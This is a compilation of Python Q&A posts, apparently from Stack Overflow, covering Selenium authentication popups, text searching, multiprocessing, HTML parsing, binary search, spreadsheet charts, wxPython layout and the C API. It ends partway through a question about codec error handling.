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How to access popup login form with Selenium in Python
Question: I have been trying for a while to figure out how to enter username and
password in the popup-window in this exercise:
<http://pentesteracademylab.appspot.com//lab/webapp/digest>
but I am entirely new to Selenium in Python. I found out how to click the
button, so that the login form pops up:
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
driver = webdriver.Firefox()
driver.get("http://pentesteracademylab.appspot.com//lab/webapp/digest")
driver.find_element_by_css_selector('button').click()
but I cannot figure out how to access that window, let alone the fields in it.
I have read about `switch_to_frame` and `switch_to_window`. For windows there
is the `window_handles` showing you active windows to switch to, but this only
returns a single element, which I believe is the main window, not the pop up.
I also tried
alert = driver.switch_to_alert()
to no avail. The problem is that I do not know either which kind of object the
popup is (frame,window,alert or something else), and I cannot find any names
referring to it in the HTML code for the webpage.
Can anyone take me a step further?
Answer: Pass the authentication step by accessing the following URL:
http://username:[email protected]/lab/webapp/digest/1
See also:
* [Handling browser level authentication using Selenium](http://sqa.stackexchange.com/questions/2755/handling-browser-level-authentication-using-selenium)
|
Python large text file searching
Question: I have a 500 MB text file that was made a long time ago. It has what looks
like html or xml tags but they are not consistent throughout the file. I am
trying to find the information between two tags that do not match. What I am
using currently works but is very slow: myDict has a list of keywords in it. I
can only guarantee the X+key and /N exist. There are no other tags that are
consistent. The Dictionary has 18000 keys.
for key in myDict:
start_position = 0
start_position = the_whole_file.find('<X>'+key, start_position)
end_position = the_whole_file.find('</N>', start_position)
date = the_whole_file[start_position:end_position]
Is there a way to do this faster?
Answer: reverse the way you are doing it, instead of iterating through the dictionary
and searching for potential matches. iterate through potential matches and
search the dictionary
import re
for part in re.findall("\<X\>(.*)\<\/N\>",the_whole_text):
key = part.split(" ",1)[0]
if key in my_dict:
do_something(part)
since dictionary lookup is `O(1)` as opposed to string finding of `O(N)`
(searching the whole file for every key is expensive ...)
so searching your file contents is `~O(500,000,000)` and you are doing that
18,000 times
this way you only search the file once finding all potentials ... then you
look up each one to see if its in your data dictionary
|
Shared memory Value dissapears from an object
Question: here is some strange behavior in Python (2.7.9, Windows) I would like to ask
an advice about.
I am trying to extend a class with a variable in initialization and I want to
share an object of this class between two processes (parent and child). Both
of them will use this variable.
This code works fine:
# coding: utf-8
from multiprocessing import Process, Value
from time import sleep
class ExQueue(object):
def __init__(self, *args, **kwargs):
super(ExQueue, self).__init__(*args, **kwargs)
self.trust_me_this_name_is_unique = Value('L', 0)
def func(ex_queue):
print 'I am the child process. Is there a parameter: ',
print hasattr(ex_queue, 'trust_me_this_name_is_unique')
# this sleep is here to assure no printing overlapping
sleep(.5)
def main():
ex_queue = ExQueue()
print 'I am the parent process. Is there a parameter: ',
print hasattr(ex_queue, 'trust_me_this_name_is_unique')
child_process = Process(target=func, args=(ex_queue,))
child_process.start()
child_process.join()
print 'I am the parent process. Is there a parameter: ',
print hasattr(ex_queue, 'trust_me_this_name_is_unique')
if __name__ == '__main__':
main()
Output:
I am the parent process. Is there a parameter: True
I am the child process. Is there a parameter: True
I am the parent process. Is there a parameter: True
But if `ExQueue` is inherited from `Queue` class (the one from
`multiprocessing.queues` module), the trick does not work.
At the beginning add:
from multiprocessing.queues import Queue
and change
class ExQueue(object):
to:
class ExQueue(Queue):
Output will be:
I am the parent process. Is there a parameter: True
I am the child process. Is there a parameter: False
I am the parent process. Is there a parameter: True
So, in the `ExQueue` example of the child process there is no
`trust_me_this_name_is_unique` variable.
Any ideas on what I am doing wrong?
Thanks!
**UPD:** Works as expected on Mac OS. Variable does not disappear.
## Solution
Thank you, **tdelaney**! Your answer helped a lot!
I added those two methods to the `ExQueue` and it pickles on Windows just fine
now:
def __getstate__(self):
state = super(ExQueue, self).__getstate__()
return state + (self.trust_me_this_name_is_unique,)
def __setstate__(self, state):
state, self.trust_me_this_name_is_unique = state[:-1], state[-1]
super(ExQueue, self).__setstate__(state)
Still not sure that it's a good approach to inherit from `Queue` at all. :)
Answer: Its not a problem with the shared memory value, its the variable on the queue
object itself that disappears.
Multiprocessing works differently on machines that implement the *nix forking
model verses the Windows create-process model. On *nix, when you create a
`multiprocessing` process, the parent process is forked and since the child
has as copy-on-write view of the parent's memory space, all of the python
objects (including your queue) are in the child space ready to be used.
On Windows, there is no `fork`. A new process is created and the relevant
parts of the parent process is pickled, sent to the child and unpickled. This
only works for picklable objects so code that works in linux may fail in
windows.
If you have an object that isn't natively picklable, you can implement
`__getstate__` and `__setstate__` methods that return a pickable subset of the
object and rebuild the object from that state. That's been done with the
`multiprocessing.Queue` object. It doesn't include your variable in
`__getstate__` so the variable isn't included in the child object when its
recreated.
An easy solution is to put your data some place else. If that isn't viable,
create your own subclass of `multiprocessing.Queue` and write your own
`__getstate__` and `__setstate__` methods.
|
How to write python regex to find guid in html?
Question: How to find guid in following HTML section?
HTML sample:
<td>xxxxxxx</td>
<td style="display: none">e3aa8247-354b-e311-b6eb-005056b42341</td>
<td>yyyyyy</td>
<td style="display: none">e3aa8247-354b-e311-b6eb-005056b42342</td>
<td>zzzz</td>
Answer: Use an HTML Parser, like that "beautiful" and transparent
[`BeautifulSoup`](https://beautiful-soup-4.readthedocs.org/en/latest/)
package.
The idea is to locate `td` elements with `xxxxxxx`, `yyyyyy` texts and get the
following `td` sibling's text value (assuming `xxxxxxx` and `yyyyyy` are
labels you know beforehand):
from bs4 import BeautifulSoup
data = """
<tr>
<td>xxxxxxx</td>
<td style="display: none">e3aa8247-354b-e311-b6eb-005056b42341</td>
<td>yyyyyy</td>
<td style="display: none">e3aa8247-354b-e311-b6eb-005056b42342</td>
<td>zzzz</td>
</tr>
"""
soup = BeautifulSoup(data)
print soup.find("td", text="xxxxxxx").find_next_sibling('td').text
Prints:
e3aa8247-354b-e311-b6eb-005056b42341
|
nearest timestamp price - ready data structure in Python?
Question: Price interpolation. Python data structure for efficient near miss searches?
I have price data
[1427837961000.0, 243.586], [1427962162000.0, 245.674], [1428072262000.0, 254.372], [1428181762000.0, 253.366], ...
with the first dimension a timestamp, and the second a price.
Now I want to know the price which is nearest to a given timestamp e.g. to
1427854534654.
What is the best Python container, data structure, or algorithm to solve this
many hundred or thousand times per second? It is a standard problem, and has
to be solved in many applications, so there should be a ready and optimized
solution.
I have Googled, and found only bits and pieces that I could build upon - but I
guess this question is so common, that the whole data structure should be
ready as a module?
* * *
EDIT: Solved.
I used [JuniorCompressor's
solution](http://stackoverflow.com/a/29526502/3693375) with my [bugfix for
future](http://stackoverflow.com/questions/29525050/nearest-timestamp-price-
ready-data-structure-in-python/29526502#comment47232453_29526502) dates.
The performance is fantastic:
3000000 calls took 12.82 seconds, so 0.00000427 per call (length of data =
1143).
Thanks a lot! StackOverFlow is great, and you helpers are the best!
Answer: It is very common for this problem to have your data sorted by the timestamp
value and then binary search for every possible query. Binary search can be
performed using the [bisect
module](https://docs.python.org/2/library/bisect.html):
data = [
[1427837961000.0, 243.586],
[1427962162000.0, 245.674],
[1428072262000.0, 254.372],
[1428181762000.0, 253.366]
]
data.sort(key=lambda l: l[0]) # Sort by timestamp
timestamps = [l[0] for l in data] # Extract timestamps
import bisect
def find_closest(t):
idx = bisect.bisect_left(timestamps, t) # Find insertion point
# Check which timestamp with idx or idx - 1 is closer
if idx > 0 and abs(timestamps[idx] - t) > abs(timestamps[idx - 1] - t):
idx -= 1
return data[idx][1] # Return price
We can test like this:
>>> find_closest(1427854534654)
243.586
If we have `n` queries and `m` timestamp values, then each query needs `O(log
m)` time. So the total time needed is `O(n * log m)`.
In the above algorithm we search between two indexes. If we use only the
midpoints of the timestamp intervals, we can simplify even more and create a
faster search:
midpoints = [(a + b) / 2 for a, b in zip(timestamps, timestamps[1:])]
def find_closest_through_midpoints(t):
return data[bisect.bisect_left(midpoints, t)][1]
|
xlsxwriter charts don't show up?
Question: I am using xlsxwriter to add charts to different worksheets in ipython and
everything works, except my graphs are never showing up in the worksheets.
There are no error messages.
When I tested the code from the documentation I also get a empty excel
workbook. I've tried it with xlsxwriter.Workbook and
pd.ExcelWriter('test.xlsx', engine='xlsxwriter') but with both the workbook
generates but no graphs are added.
How can I make the graphs show up?
Code from the documentation:
<http://xlsxwriter.readthedocs.org/en/latest/working_with_charts.html>
import xlsxwriter
workbook = xlsxwriter.Workbook('chart_line.xlsx')
worksheet = workbook.add_worksheet()
# Add the worksheet data to be plotted.
data = [10, 40, 50, 20, 10, 50]
worksheet.write_column('A1', data)
# Create a new chart object.
chart = workbook.add_chart({'type': 'line'})
# Add a series to the chart.
chart.add_series({'values': '=Sheet1!$A$1:$A$6'})
# Insert the chart into the worksheet.
worksheet.insert_chart('C1', chart)
workbook.close()
The results for print(xlsxwriter.**version**)
0.5.7
print(zipfile.ZipFile("chart_line.xlsx").namelist())
['xl/worksheets/sheet1.xml', 'xl/workbook.xml', 'xl/charts/chart1.xml',
'xl/drawings/drawing1.xml', 'docProps/app.xml', 'docProps/core.xml',
'[Content_Types].xml', 'xl/styles.xml', 'xl/theme/theme1.xml', '_rels/.rels',
'xl/_rels/workbook.xml.rels', 'xl/worksheets/_rels/sheet1.xml.rels',
'xl/drawings/_rels/drawing1.xml.rels']
Answer: There haven't been any reported issues of charts not displaying in Excel in
any version of XlsxWriter that supported charts.
There are also almost 300 chart comparison tests in the XlsxWriter codebase
that test the charts that it produces byte for byte against files produces by
Excel. These are all passing.
Also, the output from zipfile in your post clearly shows the chart elements
are there. If they were present but incorrect Excel would complain when it
loaded the file.
And the code that you link to has a screenshot of the output that clearly
shows a chart.
I also ran the code and see the chart in 3 versions of Excel and 1 version of
LibreOffice.
So you need to go back and verify your results. If you think there is an issue
then create a small working program that demonstrates it and submit a bug
report.
|
Creating an Algorithm to generate 20 digit codes
Question: I am wanting to create an Algorithm that creates a 20 digit number code.
Similar to how gift card codes are created. I would like to use python for it,
since I know python the best out of ALL programming languages. I would like it
to create numbers based on certain rules (For ex. Like how certain gift cards
have to start with an S and has to have X number of letters in it and numbers)
I do not know if I am explaining this clearly, but basically what I want is to
create an Algorithm that will create a 20 digit code that has certain rules so
people cannot create "false" codes. Thank you! :)
The Code I have currently is
import random
def random_with_N_digits(n):
range_start = 10**(n-1)
range_end = (10**n)-1
return randint(range_start, range_end)
print random_with_N_digits(20)
But I keep getting an error on the print statement?
Answer: An algorithm is basically a set of rules to accomplish something, start it as
you would start any piece of code. Since your question lacks some data, I will
just make an assumption that you want to randomly select a letter or number.
The algorithm will require a list of letters and numbers, and will simply
state that: for each number in range from 1-20, you want to 'run' a set of
rules.
This set of rules that you want to run is nothing more than a function or some
code that can randomly select a letter/number from your data list.
The code above will build you a data list with numbers and letters that you
can have the algorithm randomly select from.
import string
from random import randint
data = list(string.ascii_lowercase)
[data.append(n) for n in range(0, 10)]
The code below will range from 0 through 21 (1, 20) and will generate a 20
character string based on a random selection of a number or letter that is
inside your data list
x = [str(data[randint(0, len(data)-1)]) for n in range(0, 21)]
y = ''.join(x)
print y
>>> 'km1o07fy9t3j0dktabjsg'
|
python forloop accessing GPIO pins
Question: I'm new to python raspberry pi. Trying to shorten my code and use for loops
for repetitive parts in my code like changing all pins to high and low.
Trying to use a for loop to access pins. Is this even possible?
import RPi.GPIO as GPIO
from time import sleep
R1=22
R2=10
R3=9
R4=11
GPIO.setup(R1, GPIO.OUT)
GPIO.setup(R2, GPIO.OUT)
GPIO.setup(R3, GPIO.OUT)
GPIO.setup(R4, GPIO.OUT)
for x in range(1, 5):
print "We're on time %d" % (x)
GPIO.output(R + %d % (x), GPIO.HIGH)
sleep(1)
GPIO.output(R + %d % (x), GPIO.LOW)
sleep(1)
GPIO.cleanup()
Answer: That sort of thing is possible, but often nicer to use a `list` or `dict`:
pins = [22, 10, 9, 11]
for pin in pins:
GPIO.setup(pin, GPIO.OUT)
for x in range(1, 5):
GPIO.output(pins[x], GPIO.HIGH)
sleep(1)
GPIO.output(pins[x], GPIO.LOW)
sleep(1)
|
install python-mysqldb using python script
Question: I am writing a python script for an application. The application needs python-
mysqldb. In terminal, I can install it with apt-get or pip. How can I install
using python script? I am using python 2.7.
Answer: You could use pip in a python script for installing the package
import pip
if __name__ == '__main__':
pip.main(['install', 'MySQL-python'])
Then you can run the script from a terminal.
|
Python: How many times does the least common string appear?
Question: This is a example of a csv file it is linked to the code
I want to know how to find How many times does the least common string appear
in the field [gas]
def least_string(gas):
if gas in gasdic:
gasdic[gas] += 1
else:
gasdic[gas] = 1
I change the first half in to function
if gas in gasCount:
gasCount[gas] += 1
else:
gasCount[gas] = 1
It printed out
{'Nitrogen': 3, 'Methane': 3, 'Helium': 2, 'CarbonDioxide': 1, ' Chlorine': 3, 'Oxygen': 3, 'Xenon': 1, 'Hydrogen': 2, 'Argon': 1}
I need to change this in to function
smallest = 100000
for key in gasCount:
if gasCount[key] < smallest:
smallest = gasCount[key]
answers = []
for key in gasCount:
if gasCount[key] == smallest:
answers.append(key)
so it would print out
The least common string appear in the field [gas]: ['CarbonDioxide', 'Xenon', 'Argon']
This is the full code
import string
def getFile():
filename = input('Filename: ') #the file name should be .csv
file = open(filename, 'r')
firstline = True
Line = file.readline()
if Line == None or Line == '':
return None
if firstline: # I do not want to read the field names
Line = file.readline() # there is more to read
firstline = False # so I skip them. the code assuems
return file
#Count the number of (T's) in the field [correct]
def calcT(correct):
global tCount
found = False
for ch in correct:#look at each character in turn
if ch in 'tT':
found = True
if found:
tCount +=1
#How many times does the least common string appear in the field [gas]
def least_string(gas):
if gas in gasdic:
gasdic[gas] += 1
else:
gasdic[gas] = 1
#Find the sum of the values in the field [quant] less than (408)
def sum_quant(quant):
global qsum
if quant < 408:
qsum += quant
#How many values in the 'code' field do not match the format 9999(x9+)9?
def checkString(astring):
if len(astring) != 10:
return False
if not astring[0] in string.digits:
return False
if not astring[1] in string.digits:
return False
if not astring[2] in string.digits:
return False
if not astring[3] in string.digits:
return False
if not astring[4]=='(':
return False
if not astring[5] in string.ascii_lowercase:
return False
if not astring[6] in string.digits:
return False
if not astring[7]=='+':
return False
if not astring[8]==')':
return False
if not astring[9] in string.digits:
return False
return True
#What is the average value of the numbers in the field [age] in the range (30) and (107) inclusive
def average_age(age):
global tAge, ageCount
if age >= 30 and age <=107:
tAge += age
ageCount += 1
#Find the sum of the numbers in field [length] between (2.482) and (6.428) inclusive
def sum_Length(leng):
global lensum
if leng >= 2.482 and leng <= 6.428:
lensum += leng
#count the lines where gas's have the value (Nitrogen) *or* quant is less than 318
def calcGas(gas, quant):
global clines
if gas == 'Nitrogen' or quant < 318:
clines += 1
def processLine(Line):
Line = Line.strip()
fields = Line.split(',')
correct = fields[0]
gas = fields[1]
quant = int(fields[2])
code = fields[3]
if checkString(code):
global cCount
cCount += 1
age = int(fields[4])
leng = float(fields[5])
calcT(correct)
sum_Length(leng)
calcGas(gas, quant)
average_age(age)
sum_quant(quant)
least_string(gas)
def processFile(data):
for line in data:
processLine(line)
data.close()
def displayResults():
#Count the number of (T's) in the field [correct]
print('The number of (T) in the field [correct]: %d'%(tCount))
print('-' *10)
print(gasdic)
print('The least common string appear in the field [gas]:%s'%(answers))
print('-' *10)
#Find the sum of the values in the field [quant] less than (408)
print('The sum of the values in the field [quant] less than (408): %d'%(qsum))
print('-' *10)
#How many values in the 'code' field do not match the format 9999(x9+)9?
print('The values in the code field do not match the format 9999(x9+)9: %d'%(cCount))
print('-' *10)
#What is the average value of the numbers in the field [age] in the range (30) and (107) inclusive
print('The average value of numbers in the field[age] in range(30)and(107):%0.2f'%((tAge/ageCount)))
print('-' *10)
#Find the sum of the numbers in field [length] between (2.482) and (6.428) inclusive
print('The sum of the numbers in field [length] between (2.482) and (6.428): %6.3f'%(lensum))
print('-' *10)
#count the lines where gas's have the value (Nitrogen) *or* quant is less than 318
print('The lines where gas have the value (Nitrogen) *or* quant is less than 318: %d' %(clines))
tCount = 0
qsum = 0
gasdic = {}
answers =[]
cCount = 0
ageCount = 0
tAge = 0
lensum = 0
clines = 0
myfile = getFile()
processFile(myfile)
displayResults()
Answer:
from collections import Counter
def least_common(ls):
c = Counter(ls)
m = min(c.values())
return [k for k, v in c.items() if v == m]
least_common('Foo Bar FooBar Bar'.split()) # ['FooBar', 'Foo']
|
Wxpython - remove tabs in application
Question: I have a application which I have previously been using multiple tabs. I have
since changed the application and now only need a single panel. My issue is I
can't seem to figure out how I get rid of the redundant tabs and revert to a
single panel. Removing the `self.tabbed` in line 12 and 13 just result in a
very odd looking panel, everything squashed to the corner. Below is the
current tabbed code, I have removed lots of irrelevant code / classes, etc.
What would be the most efficient way without effecting too much code?
UPDATE 1:
I have updated the below code, so it now runs.
import wx
import wx.lib.agw.aui as aui
import wx.stc as stc
import os
import platform
import time
systemType = platform.system()
if systemType == "Windows":
import win32wnet
class MainWindow(wx.Frame):
def __init__(self, parent, id, title):
run_params = {}
self.run_params = run_params
# OS dependent info
self.run_params["systemType"] = systemType
if systemType == "Windows":
self.run_params["fontSize"] = 8
self.run_params["fontSize2"] = 7
else:
self.run_params["fontSize"] = 10
self.run_params["fontSize2"] = 9
wx.Frame.__init__(self, parent, id, title, size=(900, 710), style=wx.DEFAULT_FRAME_STYLE & ~ (wx.RESIZE_BORDER |
wx.RESIZE_BOX |
wx.MAXIMIZE_BOX))
style = aui.AUI_NB_DEFAULT_STYLE ^ aui.AUI_NB_CLOSE_ON_ACTIVE_TAB
self.tabbed = aui.AuiNotebook(self, agwStyle=style)
self.submissions = SubmissionPane(self.tabbed, self, run_params)
self.CreateStatusBar()
self.tabbed.AddPage(self.submissions, "TAB1")
menuBar = wx.MenuBar()
self.Centre()
self.Show()
class SubmissionPane(wx.Panel):
def __init__(self, parent, frame, run_params):
wx.Panel.__init__(self, parent)
self.parent = parent
self.selected_folders = None
self.params = run_params
self.frame = frame
main_sizer = wx.BoxSizer(wx.VERTICAL)
self.top_row_sizer = wx.BoxSizer(wx.HORIZONTAL);
radio_static_box = wx.StaticBox(self, label='Some Text')
radio_static_box_sizer = wx.StaticBoxSizer(radio_static_box, wx.HORIZONTAL)
job_static_box = wx.StaticBox(self, label='Some Text')
job_static_box_sizer = wx.StaticBoxSizer(job_static_box, wx.HORIZONTAL)
'''
radio_labels = ['Some Text', 'Some Text2']
self.radio_box = wx.RadioBox(
self, -1, "",
choices=radio_labels,
)
'''
self.radio1 = wx.RadioButton(self, label='Some Text', style=wx.RB_GROUP)
self.radio2 = wx.RadioButton(self, label='Some Text')
self.radio1.SetValue(True)
radio_static_box_sizer.Add(self.radio1, flag=wx.BOTTOM, border=0)
radio_static_box_sizer.Add(self.radio2, flag=wx.LEFT, border=10)
self.top_row_sizer.Add(radio_static_box_sizer, flag=wx.LEFT, border=10)
self.check_box = wx.CheckBox(self, label="Some Text")
self.check_box.SetValue(False)
if self.params["systemType"] == "Windows":
self.txtTitle = wx.TextCtrl(self, style=wx.SUNKEN_BORDER, value="Some Text...", size=(200, -1), pos=(306, 14))
else:
self.txtTitle = wx.TextCtrl(self, style=wx.SUNKEN_BORDER, value="Some Text...", size=(200, -1), pos=(350, 19))
job_static_box_sizer.Add(self.check_box, flag=wx.LEFT, border=0)
self.top_row_sizer.Add(job_static_box_sizer, flag=wx.LEFT, border=10);
self.txtTitle.Show(False)
main_sizer.Add(self.top_row_sizer);
main_sizer.Add((-1, 10))
job_static_box2 = wx.StaticBox(self, label='Some Text')
third_row_sizer = wx.StaticBoxSizer(job_static_box2, wx.HORIZONTAL);
self.tc_files = wx.TextCtrl(self, size=(375, 25))
self.buttonGo = wx.Button(self, label='Go')
self.buttonGo.Bind(wx.EVT_BUTTON, self.OnSubmit)
third_row_sizer.Add(self.tc_files, flag=wx.RIGHT, border=8)
if self.params["systemType"] == "Windows":
third_row_sizer.Add(self.buttonGo, flag=wx.LEFT | wx.TOP, border=0)
else:
third_row_sizer.Add(self.buttonGo, flag=wx.LEFT | wx.TOP, border=2)
main_sizer.Add(third_row_sizer, flag=wx.LEFT, border=10)
self.log_text22 = wx.ListCtrl(self,size=(875,275),
style=wx.LC_REPORT | wx.BORDER_SUNKEN | wx.LC_SINGLE_SEL | wx.LC_VRULES | wx.LC_HRULES)
font = wx.Font(self.params["fontSize2"], wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL)
self.log_text22.SetFont(font)
self.log_text22.InsertColumn(1, '1', width=40, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(2, '2', width=50, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(3, '3', width=156)
self.log_text22.InsertColumn(4, '4', width=332)
self.log_text22.InsertColumn(5, '5', width=100, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(6, '6', width=82, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(7, '7', width=60, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(8, '8', width=50, format=wx.LIST_FORMAT_CENTRE)
main_sizer.Add((-1, 10))
list_sizer = wx.BoxSizer(wx.VERTICAL)
list_sizer.Add(self.log_text22, flag=wx.LEFT, border=10)
main_sizer.Add(list_sizer)
self.running_log1 = wx.stc.StyledTextCtrl(self, -1, size=(875,175))
self.running_log1.StyleSetFont(wx.stc.STC_STYLE_DEFAULT, font)
self.running_log1.SetMarginWidth(1, 0)
self.running_log1.StyleSetBackground(wx.stc.STC_STYLE_DEFAULT, (0,0,0))
self.running_log1.StyleSetForeground(wx.stc.STC_STYLE_DEFAULT, (0,255,0))
self.running_log1.StyleClearAll()
main_sizer.Add((-1, 5))
list_sizer = wx.BoxSizer(wx.VERTICAL)
list_sizer.Add(self.running_log1, flag=wx.LEFT, border=10)
main_sizer.Add(list_sizer)
list_sizer.Add((-1, 10))
self.buttonClose = wx.Button(self, -1, "Quit")
list_sizer.Add(self.buttonClose, flag=wx.ALIGN_CENTER | wx.TOP | wx.LEFT, border=10)
self.SetBackgroundColour("Light Grey")
self.SetSizer(main_sizer)
self.Show()
def OnSubmit(self, event):
msg = "Running"
jobSubmitmsg = wx.BusyInfo(msg, self)
time.sleep(3)
jobSubmitmsg = None
app = wx.App(redirect=False)
MainWindow(None, -1, 'Application')
app.MainLoop()
UPDATE 2:
The below answer works very well. Cheers.
Answer: If you don't want a Notebook at all, then you can just use the SubmissionPane
itself and remove the aui stuff:
import wx
import wx.stc as stc
import os
import platform
import time
systemType = platform.system()
if systemType == "Windows":
import win32wnet
class MainWindow(wx.Frame):
def __init__(self, parent, id, title):
run_params = {}
self.run_params = run_params
# OS dependent info
self.run_params["systemType"] = systemType
if systemType == "Windows":
self.run_params["fontSize"] = 8
self.run_params["fontSize2"] = 7
else:
self.run_params["fontSize"] = 10
self.run_params["fontSize2"] = 9
wx.Frame.__init__(self, parent, id, title, size=(900, 710), style=wx.DEFAULT_FRAME_STYLE & ~ (wx.RESIZE_BORDER |
wx.RESIZE_BOX |
wx.MAXIMIZE_BOX))
##########################################################
# Passed self here and removed the unnecessary second self
##########################################################
self.submissions = SubmissionPane(self, run_params)
self.CreateStatusBar()
menuBar = wx.MenuBar()
self.Centre()
self.Show()
class SubmissionPane(wx.Panel):
################################################
# changed the init here
################################################
def __init__(self, parent, run_params):
wx.Panel.__init__(self, parent)
self.parent = parent
self.selected_folders = None
self.params = run_params
################################################
# changed the ref below
################################################
self.frame = self
main_sizer = wx.BoxSizer(wx.VERTICAL)
self.top_row_sizer = wx.BoxSizer(wx.HORIZONTAL);
radio_static_box = wx.StaticBox(self, label='Some Text')
radio_static_box_sizer = wx.StaticBoxSizer(radio_static_box, wx.HORIZONTAL)
job_static_box = wx.StaticBox(self, label='Some Text')
job_static_box_sizer = wx.StaticBoxSizer(job_static_box, wx.HORIZONTAL)
'''
radio_labels = ['Some Text', 'Some Text2']
self.radio_box = wx.RadioBox(
self, -1, "",
choices=radio_labels,
)
'''
self.radio1 = wx.RadioButton(self, label='Some Text', style=wx.RB_GROUP)
self.radio2 = wx.RadioButton(self, label='Some Text')
self.radio1.SetValue(True)
radio_static_box_sizer.Add(self.radio1, flag=wx.BOTTOM, border=0)
radio_static_box_sizer.Add(self.radio2, flag=wx.LEFT, border=10)
self.top_row_sizer.Add(radio_static_box_sizer, flag=wx.LEFT, border=10)
self.check_box = wx.CheckBox(self, label="Some Text")
self.check_box.SetValue(False)
if self.params["systemType"] == "Windows":
self.txtTitle = wx.TextCtrl(self, style=wx.SUNKEN_BORDER, value="Some Text...", size=(200, -1), pos=(306, 14))
else:
self.txtTitle = wx.TextCtrl(self, style=wx.SUNKEN_BORDER, value="Some Text...", size=(200, -1), pos=(350, 19))
job_static_box_sizer.Add(self.check_box, flag=wx.LEFT, border=0)
self.top_row_sizer.Add(job_static_box_sizer, flag=wx.LEFT, border=10);
self.txtTitle.Show(False)
main_sizer.Add(self.top_row_sizer);
main_sizer.Add((-1, 10))
job_static_box2 = wx.StaticBox(self, label='Some Text')
third_row_sizer = wx.StaticBoxSizer(job_static_box2, wx.HORIZONTAL);
self.tc_files = wx.TextCtrl(self, size=(375, 25))
self.buttonGo = wx.Button(self, label='Go')
self.buttonGo.Bind(wx.EVT_BUTTON, self.OnSubmit)
third_row_sizer.Add(self.tc_files, flag=wx.RIGHT, border=8)
if self.params["systemType"] == "Windows":
third_row_sizer.Add(self.buttonGo, flag=wx.LEFT | wx.TOP, border=0)
else:
third_row_sizer.Add(self.buttonGo, flag=wx.LEFT | wx.TOP, border=2)
main_sizer.Add(third_row_sizer, flag=wx.LEFT, border=10)
self.log_text22 = wx.ListCtrl(self,size=(875,275),
style=wx.LC_REPORT | wx.BORDER_SUNKEN | wx.LC_SINGLE_SEL | wx.LC_VRULES | wx.LC_HRULES)
font = wx.Font(self.params["fontSize2"], wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL)
self.log_text22.SetFont(font)
self.log_text22.InsertColumn(1, '1', width=40, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(2, '2', width=50, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(3, '3', width=156)
self.log_text22.InsertColumn(4, '4', width=332)
self.log_text22.InsertColumn(5, '5', width=100, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(6, '6', width=82, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(7, '7', width=60, format=wx.LIST_FORMAT_CENTRE)
self.log_text22.InsertColumn(8, '8', width=50, format=wx.LIST_FORMAT_CENTRE)
main_sizer.Add((-1, 10))
list_sizer = wx.BoxSizer(wx.VERTICAL)
list_sizer.Add(self.log_text22, flag=wx.LEFT, border=10)
main_sizer.Add(list_sizer)
self.running_log1 = wx.stc.StyledTextCtrl(self, -1, size=(875,175))
self.running_log1.StyleSetFont(wx.stc.STC_STYLE_DEFAULT, font)
self.running_log1.SetMarginWidth(1, 0)
self.running_log1.StyleSetBackground(wx.stc.STC_STYLE_DEFAULT, (0,0,0))
self.running_log1.StyleSetForeground(wx.stc.STC_STYLE_DEFAULT, (0,255,0))
self.running_log1.StyleClearAll()
main_sizer.Add((-1, 5))
list_sizer = wx.BoxSizer(wx.VERTICAL)
list_sizer.Add(self.running_log1, flag=wx.LEFT, border=10)
main_sizer.Add(list_sizer)
list_sizer.Add((-1, 10))
self.buttonClose = wx.Button(self, -1, "Quit")
list_sizer.Add(self.buttonClose, flag=wx.ALIGN_CENTER | wx.TOP | wx.LEFT, border=10)
self.SetBackgroundColour("Light Grey")
self.SetSizer(main_sizer)
self.Layout()
def OnSubmit(self, event):
msg = "Running"
jobSubmitmsg = wx.BusyInfo(msg, self)
time.sleep(3)
jobSubmitmsg = None
app = wx.App(redirect=False)
MainWindow(None, -1, 'Application')
app.MainLoop()
|
What is the point of defining new class as a struct in Python C API
Question: [The docs for Python C
API](https://docs.python.org/2/extending/newtypes.html#the-basics) describes
the pattern of defining a new type:
typedef struct {
PyObject_HEAD
PyObject *first; /* first name */
PyObject *last; /* last name */
int number;
} Noddy;
...
Then methods such as `init` could be added.
My question is - what is the point to define custom fields in a struct, why
not define them in `init`, just like in Python, using
[PyObject_SetAttr](https://docs.python.org/2/c-api/object.html#c.PyObject_SetAttr)
function calls on `self`?
Answer: 1. Struct member access is far more efficient than dict lookups.
2. Struct member access is far more _convenient_ to do in C. It's much easier to do `thing->foo` than `PyObject_GetAttrString(thing, "foo")`.
3. Using struct members allows you to store data that isn't of a Python type. This allows you to do things that can't be implemented in terms of Python types, or that would be much less efficient in terms of Python types.
4. Using struct members prevents every object from needing its own dict. The most important result of this is that a dict doesn't have to have an infinite descending chain of dicts, but it also improves space efficiency.
5. This API existed before Python-level `class` statements and the way those statements do things.
|
Top 3 most frequently occurring words in a string (python)
Question: Please no importing counters. I need to write a function that takes out the
top 3 most occurring words in a string and returns them in a list in the order
of most frequently occurring to least frequently occurring.
so `h("the the the the cat cat cat in in hat ")`
>>> ["the", "cat", "in"]
and if there are less than 3 types of words in a string:
h("the the cat")
>>> ["the", "cat"]
Answer: The frequency hash is first populated with the number of times each word
appears in a given string. The top 3 words are then determined based on the
counts from the frequency hash.
**Code**
def h(string):
return get_top_3(get_frequency_hash(string))
def get_frequency_hash(text):
array = text.split(" ")
frequency = {}
for word in array:
try:
frequency[word] += 1
except:
frequency[word]= 1
return frequency
def get_top_3(frequency_hash):
array_of_tuples = [(k,v) for k,v in frequency_hash.items()]
sorted_array_of_tuples = sorted(array_of_tuples, key=lambda x: -x[1])
return [k for k,v in sorted_array_of_tuples[0:3]]
**Example**
h("the the the the cat cat cat in in hat")
# ['the', 'cat', 'in']
|
Use codec error handler for print() in Python3?
Question: It is well known that the `encode()` has a `error` param for codec error
handling, for example:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# "发" and "财" are not available in 'big5' encoding
text = "发财了".encode('big5', errors='replace')
However, there is not an `errors` param for `print()`, and if we simply write:
